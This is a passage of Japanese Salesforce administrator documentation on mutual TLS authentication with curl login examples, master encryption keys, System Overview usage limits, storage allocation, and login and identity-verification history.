3. [保存] をクリックしてアップロードプロセスを終了します。
4. 「API 限定」ユーザに対して、「SSL/TLS 相互認証の適用」ユーザ権限を有効

にします。
この「API 限定」ユーザは、API クライアントがポート 8443 に接続し、署名さ
れたクライアント証明書を提示するように設定します。

証明書チェーンを使用する場合、ポート 8443 に接続するときにクライアント証
明書には証明書チェーンのすべての中間証明書を含める必要があります。
証明書チェーンとは証明書の階層的序列で、ある証明書が階層の下位の別の証明書を発行して署名します。証
明書チェーンを、証明書の連結チェーンを表す単一の PEM エンコード認証機関署名証明書としてアップロード
します。アップロードされた証明書チェーンには、中間証明書が次の順序で含まれている必要があります。
• 最初にサーバまたはクライアント証明書、次にその証明書が署名した証明書の順で追加します。
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• サーバまたはクライアント証明書とルート証明書の間に中間証明書が 2 つ以上ある場合は、各証明書をそ
の前の証明書を署名した証明書として追加します。

• ルート証明書は省略可能で、通常は含まれません。

関連トピック:

相互認証を使用するための API クライアントの設定

相互認証を使用するための API クライアントの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Personal Edition、Unlimited
Edition、Developer
Edition、および
Database.com Edition

ユーザ権限

証明書を作成、編集、管
理する
• 「アプリケーションの

カスタマイズ」

標準 SSL/TLS 接続に対して
ポート 8443 で相互認証を
適用する

(「API 限定ユーザ」権限を
持つユーザに割り当てる)

• 「SSL/TLS 相互認証の適
用」

Salesforce API のみを使用
して Salesforce にアクセス
する
• 「API 限定ユーザ」

SSL/TLS 相互認証を適用します。
1. 総合認証を設定したら、ポート 8443 を使用してSalesforceサービスにログイン

します。ログイン情報と署名済み証明書情報を含めます。
たとえば、cURLを使用する設定の場合、次のようになります。「@login.txt」
には、ログイン情報が含まれるログイン SOAP メッセージが格納されていま
す。「fullcert.pem:xxxxxx」は証明書情報です。

curl -k https://login.salesforce.com:8443/services/Soap/u/31.0 -H "Content-Type: text/xml;
charset=UTF-8" -H "SOAPAction: login" -d @login.txt -v -E fullcert.pem:xxxxxx
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2. コールからセッション ID が返されると、クエリなどのその他のアクションを実行できます。次に例を示し
ます。
curl -k https://yourInstance.salesforce.com:8443/services/Soap/u/31.0 -H "Content-Type:
text/xml; charset=UTF-8" -H "SOAPAction: example" -d @accountQuery.xml -v -E
fullcert.pem:xxxxxx

@accountQuery.xml は、ログイン応答からのセッション ID が含まれるクエリ SOAP メッセージが格納されてい
るファイルの名前です。

関連トピック:

証明書と鍵
相互認証証明書の設定

主暗号化鍵の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

証明書を作成、編集、管
理する
• 「アプリケーションの

カスタマイズ」

[社会保障番号]や [クレジットカード番号]など暗号化カスタム項目は、主暗号
化鍵を使用して暗号化されます。暗号化する項目を選択すると、自動的にこの
鍵が割り当てられます。組織のセキュリティの必要性および規制要件に基づい
て独自の主鍵を管理します。
主暗号化鍵では、次の操作を実行できます。
• 既存の鍵をアーカイブして新しい鍵を作成する。
• 既存の鍵をアーカイブした後でエクスポートする。
• 既存の鍵を削除する。
• 既存の鍵を削除した後でインポートする。

新しい鍵のアーカイブと作成
現在の鍵をアーカイブして新しい鍵を作成するには、[証明書と鍵の管理] 設定
ページの [現在の鍵のアーカイブおよび新しい鍵の作成] をクリックします。新
しい鍵が生成され、次の連続番号が割り当てられて、有効になります。新しい
データはすべて、新しい鍵を使用して暗号化されます。
既存のデータでは、データが変更されて保存されるまで、アーカイブされた鍵が使用されます。その後データ
は、新しい鍵を使用して暗号化されます。
鍵は、アーカイブした後でエクスポートまたは削除できます。

鍵のエクスポート
鍵を安全に保管するためにバックアップの場所にエクスポートすることができます。鍵を削除する前にコピー
をエクスポートすることをお勧めします。
エクスポートにより、暗号化鍵でテキストファイルが作成されるため、後でその鍵をインポートして組織に戻
すことができます。
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鍵の削除
鍵は、現在その鍵を使用して暗号化されたデータが存在しないことが絶対に確実な場合にのみ削除してくださ
い。鍵を削除すると、その鍵によって暗号化されたデータに二度とアクセスできなくなります。

重要: 鍵のエクスポートと削除は慎重に行ってください。テナントの秘密が破棄された場合は、再イン
ポートしてデータにアクセスする必要があります。データおよびテナントの秘密をバックアップして安
全な場所に保存する責任は、お客様が単独で負うものとします。Salesforceでは、テナントの秘密の削除、
破棄、置き忘れが発生してもサポートできません。

鍵のインポート
削除された鍵に関連付けられているデータが存在する場合は、エクスポートされた鍵をインポートして組織に
戻すことができます。アクセスできなかったデータはすべて、再びアクセス可能になります。
インポートする鍵の横にある [インポート] をクリックします。

メモ: このページは、Shield プラットフォームの暗号化ではなく、従来の暗号化について書かれています。
相違点 (ページ 941)

関連トピック:

証明書と鍵

組織の監視

Salesforce には、Salesforce 組織内の活動を把握するためのさまざまな方法があり、正しい方向に進んでいるかど
うかを確認できます。

[システムの概要] ページ
[システムの概要] ページには組織の使用状況データと制限が表示され、組織の制限の 95% (ポータルロール
の 75%) に達するとメッセージが表示されます。
データおよびストレージリソースの監視
[設定] の [組織のディスク使用量] ページで、Salesforce組織のストレージの制限および使用量を確認します。
ログイン履歴の監視
システム管理者は、組織および有効なポータルまたはコミュニティに対して試行されたすべてのログイン
を監視できます。[ログイン履歴] ページには、20,000 件の最新の試行が表示されます。さらにレコードを表
示するには、CSV または GZIP ファイルに情報をダウンロードします。
ID 検証履歴
システム管理者は ID 検証履歴を使用して、過去 6 か月の組織ユーザの ID 検証試行のレコードを最大 20,000

件まで監視および監査します。たとえば、ユーザのログイン時に 2 要素認証が有効になっているとします。
ID の証明としてユーザが時間ベースのワンタイムパスワードを正しく入力すると、その情報が ID 検証履歴
に記録されます。
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ログインフォレンジックによるログインアクティビティの監視
ログインフォレンジックを使用すると、システム管理者がどのユーザの動作が正当かをより的確に判断で
きるため、Salesforce でのなりすまし詐欺の防止に役立ちます。
トレーニング履歴の監視 (この機能は、現在日本のお客様に対してサポートしていません)

システム管理者は、自分のチームが Salesforce の使い方を効率よく学習しているかどうかを把握する必要が
あります。トレーニングクラスの履歴では、ユーザの受講したすべての Salesforce トレーニングクラスが表
示されます。
設定の変更の監視
設定変更履歴では、自分自身と他のシステム管理者が組織に対して行った最近の設定の変更を追跡します。
監査履歴は、複数のシステム管理者がいる組織で特に役立ちます。
項目履歴管理
特定の項目を選択して、オブジェクトの [履歴] 関連リストの項目履歴を追跡および表示できます。項目履
歴データは、最長 18 か月間保持されます。
デバッグログの監視
開発者コンソールまたは [設定] でユーザ、Apex クラス、および Apex トリガのログをトリガするように追跡
フラグを設定します。結果のログを監視して、組織の問題を診断します。
スケジュール済みジョブの監視
[すべてのスケジュール済みジョブ] ページには、すべてのレポート作成スナップショット、スケジュール
済み Apex ジョブ、および更新スケジュール済みダッシュボードが表示されます。
バックグラウンドジョブの監視
並行する共有の再適用が実行されている場合などに、組織のバックグラウンドジョブを監視できます。

[システムの概要] ページ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Personal Edition を除くす
べてのエディション

ユーザ権限

[システムの概要] ページに
アクセスする
• 「アプリケーションの

カスタマイズ」

[システムの概要] ページには組織の使用状況データと制限が表示され、組織の制
限の 95% (ポータルロールの 75%) に達するとメッセージが表示されます。

メモ:  [システムの概要] ページでは、組織で有効化されている項目のみが表
示されます。たとえば、[システムの概要] ページでは、組織でワークフロー
が有効化されている場合に限り、ワークフロールールが表示されます。

使用状況の詳細を表示するには、各統計の下にある数字をクリックします。組
織の使用制限を引き上げるには、Checkoutを使用します (使用可能な場合)。たと
えば、組織でカスタムオブジェクトの制限に達すると、[システムの概要] ページ
にメッセージリンクが表示されます。リンクをクリックして、未使用のオブジェ
クトをクリーンアップするか、Checkoutにアクセスしてオブジェクトの制限を引
き上げます。
[システムの概要] ページにアクセスするには、[設定] から [クイック検索] ボッ
クスに「システムの概要」と入力し、[システムの概要] を選択します。
[システムの概要] ページには、次の使用状況が表示されます。
• スキーマ
• API 使用状況
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• ビジネスロジック
• ユーザインターフェース
• 最多使用ライセンス
• ポータルロール

メモ: オブジェクトの制限割合 (%) は、切り上げではなく、切り捨てられます。たとえば、組織が特定の
カスタマイズの制限の 95.55% を使用している場合、オブジェクト制限には 95% と表示されます。

システムの概要: スキーマ
システムの概要: API 使用状況
システムの概要: ビジネスロジック
システムの概要: ユーザインターフェース
システムの概要: 最多使用ライセンス
システムの概要: ポータルロール

システムの概要: スキーマ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Personal Edition を除くす
べてのエディション

[システムの概要] ページの [スキーマ] ボックスには、次に関する使用状況情報が
表示されます。
• カスタムオブジェクト

メモ: 論理削除したカスタムオブジェクトとそのデータは、制限の対象
に含まれます。不要なカスタムオブジェクトは物理削除または消去する
ことをお勧めします。

• データストレージ

システムの概要: API 使用状況

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

[システムの概要] ページの [API 使用状況] ボックスには、過去 24 時間の API 要求
に関する使用情報が表示されます。
コール数の制限は、24 時間あたりに組織で行われたAPIコール数の集計に対して
適用されます。この制限は、ユーザごとに適用されるものではありません。組
織がこの制限を超過した場合、組織内のすべてのユーザが一時的にブロックさ
れ、追加のコールを行うことができなくなります。直近 24 時間の使用状況が制
限値内に収まるまで、コールはブロックされます。
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システムの概要: ビジネスロジック

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

[システムの概要] ページの [ビジネスロジック] ボックスには、次に関する使用状
況の情報が表示されます。
• ルール
• Apex トリガ
• Apex クラス
• 使用されるコード: ApexトリガとApexクラスの文字総数 (コメント、テストメ

ソッド、および @isTest 注釈クラスを除く)。

システムの概要: ユーザインターフェース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Personal Database.com を
除くすべてのエディショ
ン

[システムの概要] ページの [ユーザインターフェース] ボックスには、次に関する
使用状況情報が表示されます。
• カスタムアプリケーション
• Site.com サイト: 公開された Site.com サイトのみをカウントします。
• 有効な Force.com サイト
• フロー: 有効なフローのみをカウントします。
• カスタムタブ
• Visualforce ページ

システムの概要: 最多使用ライセンス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Personal Edition を除くす
べてのエディション

[システムの概要] ページの [最多使用ライセンス] ボックスでは有効なライセンス
のみがカウントされ、デフォルトで、組織での使用頻度が高い上位 3 つのライ
センスが表示されます。使用状況が 95% に達しているライセンスも表示されま
す。組織にあるラインセンスをすべて表示するには、[すべて表示]をクリックし
ます。
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システムの概要: ポータルロール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[システムの概要] ページの [ポータルロール] ボックスには、すべてのパートナー
ポータル、カスタマーポータル、およびコミュニティロールの使用状況データ
と制限が表示されます。[システムの概要] ページには、組織に割り当てられた
ポータルロールの 75% に組織が達したときにメッセージが表示されます。

メモ: 組織のポータルまたはコミュニティで使用できるロールの最大数は
5000 です。この制限には、組織のすべてのカスタマーポータル、パートナー
ポータル、またはコミュニティに関連付けられたロールが含まれます。こ
の数が不必要に増加しないように、ロール数を確認して削減することをお
勧めします。使用していないロールを削除することもできます。さらに多
くのロールが必要な場合は、Salesforce カスタマーサポートまでご連絡くだ
さい。

データおよびストレージリソースの監視
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ディスク使用量を参照す
る
• 「内部ユーザの管理」

および

「ユーザの管理」

[設定] の [組織のディスク使用量] ページで、Salesforce組織のストレージの制限お
よび使用量を確認します。

ストレージが必要な項目
ストレージは、次の 2 つのカテゴリに分類されます。ファイルストレージには、
添付ファイル、[ファイル] ホーム、Salesforce CRM Content、Chatter ファイル (ユーザ
の写真を含む)、[ドキュメント] タブ、ナレッジ記事のカスタムファイル項目、
およびSite.comのアセット内のファイルが含まれます。データストレージには、
次の情報が含まれます。
• 取引先
• 記事タイプ (形式: 「記事タイプ名」)

• 記事タイプ翻訳 (形式: 「記事タイプ名」バージョン」)

• キャンペーン
• キャンペーンメンバー
• ケース
• ケースチーム
• 取引先責任者
• 契約
• カスタムオブジェクト
• メールメッセージ
• 行動
• 予測項目
• Google ドキュメント
• アイデア
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• リード
• メモ
• 商談
• 商談分割
• 注文
• 見積
• 見積テンプレートのリッチテキストデータ
• ソリューション
• タグ: 固有タグ
• ToDo

ストレージ容量
データストレージ
データストレージの場合、Contact Manager Edition、Group Edition、Professional Edition、Enterprise Edition、Performance

Edition および Unlimited Edition では、1 GB またはユーザあたりの制限のいずれか大きい方が割り当てられます。
たとえば、10 人のユーザがいる Professional Edition 組織の場合は、ユーザ数 10 x ユーザあたり 20 MB = 200 MB は最
小量 1 GB よりも少ないため、1 GB が割り当てられます。100 人のユーザがいる Professional Edition 組織の場合は、
ユーザ数 100 x 20 MB = 2,000 MB であるため、最小量 1 GB よりも多くの容量が割り当てられます。
ファイルストレージ
Contact Manager Edition、Group Edition、Professional Edition、Enterprise Edition、Performance Edition、および Unlimited Edition

では、組織ごとに 10 GB のファイルストレージが割り当てられます。
組織には、標準ユーザライセンスの数に基づいて追加のファイルストレージが割り当てられます。Enterprise

Edition、Performance Edition、Unlimited Edition では、ユーザライセンスごとに 2 GB のファイルストレージが組織に
割り当てられます。Contact Manager Edition、Group Edition、Professional Edition の組織には標準ユーザライセンスあ
たり 612 MB が割り当てられます。これはユーザライセンスあたり 100 MB と Salesforce CRM Content 機能ライセン
スに対するライセンスあたり 512 MB を合わせたものです。

メモ: Salesforce CRM Contentが有効であるかどうかにかかわらず、各 Salesforce CRM Content機能ライセンスに
追加のファイルストレージ 512 MB が割り当てられます。

[ユーザライセンスあたりのストレージ割り当て] 列の値が Salesforce と Salesforce Platform ユーザライセンスに適
用されます。

ユーザライセンスあ
たりのファイルスト
レージ割り当て

組織あたりのファイ
ルストレージ割り当
て

ユーザライセンスあ
たりのデータスト
レージ割り当て

組織あたりの最小
データストレージ

Salesforce のエディ
ション

612 MB
10 GB20 MB1 GB

Contact Manager

Group

Professional

2 GBEnterprise
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ユーザライセンスあ
たりのファイルスト
レージ割り当て

組織あたりのファイ
ルストレージ割り当
て

ユーザライセンスあ
たりのデータスト
レージ割り当て

組織あたりの最小
データストレージ

Salesforce のエディ
ション

120 MB
Performance

Unlimited

なし20 MBなし
5 MBDeveloper

20 MB (約 10,000 レ
コード)

Personal

カスタムユーザライセンスを使用している組織の場合、追加ストレージが提供されるかどうかについては、
Salesforceまでお問い合わせください。ユーザライセンスについての説明は、「ユーザライセンス」を参照して
ください。

ディスク使用量の参照
組織の現在のディスク使用量を表示するには、[設定] から、[クイック検索] ボックスに「組織のディスク使用
量」と入力し、[組織のディスク使用量]を選択します。使用可能なデータストレージおよびファイルストレー
ジの容量、レコードタイプごとのストレージ容量、ストレージ使用量の多いユーザ、およびサイズの大きい
ファイルなどを表示できます。特定のユーザが保存しているデータの種別を参照するには、ユーザ名をクリッ
クします。
Personal Edition 以外のすべてのエディションで、システム管理者は、ディスク使用量をユーザ単位で表示できま
す。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
2. 任意のユーザの名前をクリックします。
3. そのユーザのディスク使用量をレコードタイプ別に表示するには、[データの使用ディスク量]または [ファ

イルの使用ディスク量] の横にある [表示] をクリックします。
データストレージとファイルストレージは同時に計算されないため、組織のディスク使用量はすぐには更新さ
れません。大量のレコードやファイルをインポートまたは追加する場合は注意してください。
個々のユーザは、自分が使用しているディスク使用量を自分の個人情報として表示できます。

ストレージの増加
ストレージを追加する必要がある場合は、ストレージ制限を増やすか、ディスク使用量を減らします。
• 追加のストレージ容量を購入するか、Professional Edition、Enterprise Edition、Unlimited Edition、およびPerformance

Edition のユーザライセンスを追加します。
• 古くなったリードや取引先責任者を削除します。
• 不要な添付ファイルを削除します。
• Salesforce CRM Content のファイルを削除します。
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ストレージの考慮事項
必要なストレージを計画する場合、次の点に留意してください。
• それぞれの個人取引先は、1 件の取引先と 1 件の取引先責任者で構成されるため、個人取引先は、取引先と

取引先責任者両方のストレージにカウントされます。
• アーカイブされた活動は、ストレージ使用量としてみなされます。
• 有効またはアーカイブ済みの商品、価格表、価格表エントリ、および納入商品は、ストレージ使用量には

含まれません。

ログイン履歴の監視
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

ログインを監視する
• 「ユーザの管理」

システム管理者は、組織および有効なポータルまたはコミュニティに対して試
行されたすべてのログインを監視できます。[ログイン履歴] ページには、20,000

件の最新の試行が表示されます。さらにレコードを表示するには、CSV または
GZIP ファイルに情報をダウンロードします。

ログイン履歴のダウンロード
過去 6 か月間または最初の 20,000 回のSalesforce組織へのユーザログインの試行を
CSV または GZIP ファイルにダウンロードできます。
1. [設定] から、[クイック検索] ボックスに「ログイン履歴」と入力し、[ログイ

ン履歴] を選択します。
2. ダウンロードするファイル形式を選択します。

• Excel 用 CSV ファイル: 過去 6 か月間のすべてのユーザのログインまたは最
初の 20,000 回のユーザログインの試行を記録した CSV ファイルをダウン
ロードします。このレポートには、API を介したログインも含まれます。

• gzip で圧縮された Excel 用 CSV ファイル: 過去 6 か月間のすべてのユーザの
ログインまたは最初の 20,000 回のユーザログインの試行を記録した CSV

ファイルをダウンロードします。このレポートには、API を介したログイ
ンも含まれます。ファイルは圧縮されているため、最もすばやくダウンロードするには最適なオプショ
ンです。

3. ファイルの内容を選択します。[すべてのログイン] オプションには、API アクセスによるログインも含まれ
ます。

4. [今すぐダウンロード] をクリックします。

メモ: 古いバージョンの Microsoft Excel では、65,536 行を超えるファイルを開くことはできません。大きな
ファイルを Excel で開くことができない場合は、「大規模なファイルの扱いに関する Microsoft のヘルプお
よびサポート記事」を参照してください。
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リストビューの作成
ログイン時刻およびログイン URL で並び替えたリストビューを作成できます。たとえば、特定の時間範囲内の
すべてのログインのビューを作成できます。デフォルトビューと同様に、カスタムビューには最新の 20,000 件
のログインが表示されます。
1. [ログイン履歴] ページで、[新規ビューの作成] をクリックします。
2. [ビュー] ドロップダウンリストに表示するビューの名前を入力します。
3. 検索条件を指定します。
4. 表示する項目を選択します。

15 項目まで選択できます。表示できるのは、使用しているページレイアウトで使用可能な項目のみです。
テキストエリア項目には、255 文字まで表示されます。

メモ: 地理位置情報技術の性質上、地理位置情報項目の精度 (国、市区郡、郵便番号など) は変化する
場合があります。

ログイン履歴の表示
自分のログイン履歴を表示できます。
1. 個人設定から、[クイック検索]ボックスに「ログイン履歴」と入力し、[ログイン履歴]を選択します。結果

がない場合は、[クイック検索] ボックスに「個人情報」と入力し、[個人情報] を選択します。
2. 過去 6 か月間または過去の 20,000 回のログイン履歴が保存された CSV ファイルをダウンロードするには、[ダ

ウンロード] をクリックします。

メモ: セキュリティ上の理由から、Salesforce は組織からデータをエクスポートするときに CAPTCHA ユーザ
認証テストを要求することがあります。簡単なテキスト入力型のテストで、悪意のあるプログラムによ
る組織のデータへのアクセスを回避します。このテストに合格するには、表示された 2 語をフロート表示
のテキストボックスに正確に入力する必要があります。テキストボックスに入力する語は、スペースで
区切る必要があります。

SAML を使用したシングルサインオン
組織で SAML シングルサインオン ID プロバイダ証明書を使用している場合、シングルサインオンログインが履
歴に表示されます。

私のドメイン
[私のドメイン] を使用する場合は、いつどのユーザが新しいログイン URL でログインしているかを識別できま
す。[設定] から、[クイック検索] ボックスに「ログイン履歴」と入力し、[ログイン履歴] を選択して、[ユーザ
名] 列と [ログイン URL] 列を表示します。

ライセンスマネージャユーザ
ログイン履歴ページには、名前が 033*********2@00d2********db という形式になっている社内ユーザが
含まれることがあります。これらのユーザは、登録者組織が使用するライセンスの数を管理するライセンス管

1190

ログイン履歴の監視Salesforce 組織の設定および管理



理アプリケーション (LMA) に関連付けられています。これらの社内ユーザは、LMA によって管理されるAppExchange

パッケージがインストールされているライセンス管理組織 (LMO) と登録者組織に表示されることがあります。

関連トピック:

ID 検証履歴

ID 検証履歴
エディション

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

システム管理者は ID 検証履歴を使用して、過去 6 か月の組織ユーザの ID 検証試
行のレコードを最大 20,000 件まで監視および監査します。たとえば、ユーザの
ログイン時に 2 要素認証が有効になっているとします。ID の証明としてユーザ
が時間ベースのワンタイムパスワードを正しく入力すると、その情報が ID 検証
履歴に記録されます。
ID 検証履歴にアクセスするには、[設定] から [クイック検索] ボックスに「検証
履歴」と入力し、[ID 検証履歴]を選択します。検証時におけるユーザのおおよそ
の地理的位置など、詳細情報を表示するには、カスタムビューを作成し、必要
な列を追加します。

ID 検証項目
次の項目はデフォルトで表示されます。

説明項目

ID 検証試行の時間。タイムゾーンは、GMT で表されま
す。

時間

検証試行の ID。検証では、数回の試行で異なる検証方
法が使用される場合があります。たとえば、ユーザの

検証試行

セッションでユーザが無効な確認コードを入力します
(1 回目)。次に、ユーザが正しいコードを入力して ID

が正常に検証されます (2 回目)。両方の試行は 1 つの
検証の一部であるため、同じ ID になります。

ID 検証が求められたユーザのユーザ名。ユーザ名

ID の検証を求められたときに画面または Salesforce

Authenticator でユーザに表示されるテキスト。たとえ
アクティビティメッセージ

ば、ユーザのログインに ID 検証が必要な場合、
「Salesforce へのログインを試行しています」と表示さ
れます。この場合のアクティビティメッセージは、
「Salesforce へのログイン」です。ただし、ユーザアク
ティビティが「Apex で定義されたアクティビティ」の
場合は例外です。この場合、アクティビティメッセー
ジは Apex メソッドで渡されるカスタム説明になるこ
とがあります。ユーザがバージョン 2 以降の Salesforce
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説明項目

Authenticator アプリケーションを使用して ID を検証す
る場合、アプリケーションおよび検証履歴にカスタム
説明が表示されます。カスタム説明が指定されていな
い場合、検証履歴には Apex メソッドの名前が表示さ
れます。

メモ: ユーザが接続アプリケーションにアクセ
スしようとして、検証試行の後にアプリケーショ
ンが名前変更または削除された場合、この項目
には元の接続アプリケーション名が表示されま
す。

ID 検証のセキュリティポリシーまたは設定。トリガ基準
• Apex メソッド — 検証 Apex メソッドによって行わ

れる ID 検証。
• デバイスの有効化 — 不明なデバイスまたは新しい

IP アドレスからログインするユーザに必要な ID 検
証。この検証は、Salesforce のリスクベースの認証
の一部です。

• Lightning Login 登録 — Lightning Login でのユーザ登録
に ID 検証が必要です。この検証はユーザが登録を
試行したときにトリガされます。ユーザに
「Lightning Login ユーザ」ユーザ権限があり、[セッ
ションの設定] の [Lightning Login の許可] が組織で有
効になっている場合は、登録が可能です。

• 高保証セッションが必要です — リソースへのアク
セスに高保証セッションが必要です。この検証は、
高保証セッションレベルが必要な接続アプリケー
ション、レポート、ダッシュボードなどのリソー
スにユーザがアクセスしようとしたときにトリガ
されます。

• Lightning Login ログイン — Lightning Login でのユーザ
ログインに ID 検証が必要です。この検証は登録済
みユーザがログインを試行したときにトリガされ
ます。ユーザに「Lightning Login ユーザ」ユーザ権
限があり、Lightning Login での登録が成功し、かつ
[セッションの設定] の [Lightning Login の許可] が組織
で有効になっている場合は、ログインが可能です。

• プロファイルセッションレベルポリシー — ログイ
ン時にセッションセキュリティレベルが必要です。
この検証は、ユーザのプロファイルの [ログインに

1192

ID 検証履歴Salesforce 組織の設定および管理



説明項目

必要なセッションセキュリティレベル] 設定によっ
てトリガされます。

• 2 要素認証が必要 — ログイン時に 2 要素認証が必
要です。この検証は、カスタムプロファイルに割
り当てられた「ユーザインターフェースログイン
の 2 要素認証」ユーザ権限によってトリガされま
す。または、この権限がユーザに割り当てられた
権限セットに含まれている場合もトリガされます。

ユーザが検証イベントで ID の検証を試行した方法。メソッド
• メールメッセージ — Salesforceによって、確認コー

ドを含むメールがユーザのアカウントに関連付け
られたアドレスに送信されました。

• Lightning Login 登録 — Lightning Login で登録するため
に、Salesforce Authenticator によって、ユーザのモバ
イルデバイスに通知が送信されました。

• ワンタイムパスワード — ユーザのモバイルデバイ
スの認証アプリケーションによって、時間ベース
のワンタイムパスワード (TOTP) が生成されました。

• Lightning Login ログイン — Lightning Login でログイン
を承認するために、Salesforce Authenticator によって、
ユーザのモバイルデバイスに通知が送信されまし
た。

• Salesforce Authenticator — Salesforce Authenticator によっ
て、ユーザのモバイルデバイスにアカウントアク
ティビティを検証する通知が送信されました。

• 仮の確認コード —「ユーザインターフェースでの
2 要素認証の管理」権限を持つ Salesforce システム
管理者またはユーザがユーザの仮の確認コードを
生成しました。

• テキストメッセージ — Salesforce によって、確認
コードを含むテキストメッセージがユーザのモバ
イルデバイスに送信されました。

• U2F セキュリティキー — U2F セキュリティキーに
よって、ユーザに必要なログイン情報が生成され
ました。

ID 検証試行の状況。状況
• アクセスが拒否されました — Salesforce Authenticator

などの認証アプリケーションの承認申請をユーザ
が拒否しました。
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説明項目

• アクセスが拒否されました: ユーザによってフラグ
が付けられました — Salesforce Authenticator などの認
証アプリケーションの承認申請をユーザが拒否し、
さらに承認申請をシステム管理者に報告するよう
にフラグを付けました。

• 失敗: 一般的なエラー — 確認コードが無効、試行
回数が多すぎる、または認証アプリケーションの
接続以外の問題が原因でエラーが発生しました。

• 失敗: 確認コードが無効です — ユーザが無効な確
認コードを入力しました。

• 失敗: 復旧できるエラー — Salesforce が ID を検証す
る認証アプリケーションに接続できませんでした
が、再試行します。

• 失敗: 試行回数が多すぎます — ユーザが ID の検証
を試行した回数が多すぎます。たとえば、ユーザ
が無効な確認コードを繰り返し入力した場合など
です。

• 成功 — ユーザの ID が検証されました。
• 成功: 自動応答 — 信頼できる場所から要求が行わ

れたため、Salesforce Authenticator がアクセス要求を
承認しました。ユーザが Salesforce Authenticator のロ
ケーションサービスを有効にすると、信頼できる
場所を指定できます。認識されるデバイスからの
ログインなど、特定のアクティビティに対してユー
ザが場所を信頼すると、その場所が信頼される限
り、信頼できる場所からのアクティビティは承認
されます。

• ユーザによる確認コードの入力を待機中 — Salesforce

がユーザに ID の検証を求め、ユーザによる応答ま
たは Salesforce Authenticator による自動応答の送信を
待機しています。

ログインの試行時刻 (GMT タイムゾーンの時刻)ログイン時刻

ユーザが ID 検証が必要なアクションを試行したマシ
ンの IP アドレス。たとえば、ユーザがログインまたは

ソース IP

レポートへのアクセスを試行したマシンの IP アドレ
ス。ログイン以外の検証が必要なアクションの場合、
IP アドレスはユーザがログインしたアドレスとは異な
る可能性があります。IPv4 アドレスまたは IPv6 アドレ
スを指定できます。
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説明項目

ユーザの IP アドレスが物理的に存在する国。この値は
ローカライズされません。地理位置情報技術の性質

場所

上、地理位置情報項目の精度 (国、市区郡、郵便番号
など) は変化する場合があります。

カスタムビューを作成して次の項目を表示できます。説明内の IP アドレスは、ID 検証が必要なアクションを
ユーザが試行したマシンのアドレスです。地理位置情報技術の性質上、地理位置情報項目の精度 (国、市区郡、
郵便番号など) は変化する場合があります。

説明項目

ユーザの IP アドレスが物理的に存在する市区郡。この
値はローカライズされません。

市区郡

ユーザがアクセスを試行した接続アプリケーションの
名前とリンク。ユーザが検証を試行した後に接続アプ

接続アプリケーション

リケーションの名前が変更された場合、新しい名前が
表示されます。ユーザが検証を試行した後に接続アプ
リケーションが削除された場合、「使用できません」
と表示されます。

ユーザの IP アドレスが物理的に存在する国。この値は
ローカライズされません。

国

ユーザの IP アドレスが物理的に存在する国の ISO 3166

コード。詳細は、「国コード - ISO 3166」を参照してく
ださい。

CountryIso

ユーザの IP アドレスが物理的に存在する場所の緯度。緯度

ログインの種別 (アプリケーション、OAuth、SAML な
ど)。

ログイン種別

ユーザの IP アドレスが物理的に存在する場所の経度。経度

ユーザの IP アドレスが物理的に存在する場所の郵便番
号。この値はローカライズされません。

郵便番号

ユーザの IP アドレスが物理的に存在する下位区分の名
前。米国では通常この値は州名 (ペンシルベニアなど)

です。この値はローカライズされません。

下位区分

ユーザが試行した ID 検証が必要なアクション。ユーザアクティビティ
• 接続アプリケーションへのアクセス — ユーザが接

続アプリケーションへのアクセスを試行しました。
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説明項目

• レポートへのアクセス — ユーザがレポートまたは
ダッシュボードへのアクセスを試行しました。

• Apexで定義されたアクティビティ — ユーザが検証
Apex メソッドで Salesforce リソースへのアクセスを
試行しました。

• レポートをエクスポートおよび印刷 — ユーザがレ
ポートまたはダッシュボードのエクスポートか印
刷を試行しました。

• Salesforceへのログイン — ユーザがログインを試行
しました。

関連トピック:

ログイン履歴の監視
2 要素認証の管理任務の委任

ログインフォレンジックによるログインアクティビティの監視
エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ログインフォレンジックを使用すると、システム管理者がどのユーザの動作が
正当かをより的確に判断できるため、Salesforce でのなりすまし詐欺の防止に役
立ちます。
企業の重大な懸念であるなりすまし詐欺は後を絶ちません。1 日 (1 時間でも) あ
たりの組織へのログイン数に基づいてセキュリティ担当者が特定のユーザアカ
ウントが侵害されているかどうかを判断するのは困難です。
ログインフォレンジックを使用すると、不審なログインアクティビティを特定
しやすくなります。この機能では、次のような主要なユーザアクセスデータが
提供されます。
• 指定した期間のユーザあたりの平均ログイン数
• 平均ログイン数を超えるユーザ
• 営業時間外にログインしたユーザ
• 不審な IP 範囲を使用してログインしたユーザ
この機能を使用する前に、覚えておくべきいくつかの基本用語があります。
イベント

イベントとは Salesforce で発生するすべての事象を指し、ユーザのクリック、レコード状態の変更、さまざ
まな値の測定などが含まれます。イベントは不変であり、タイムスタンプが付けられます。

ログインイベント
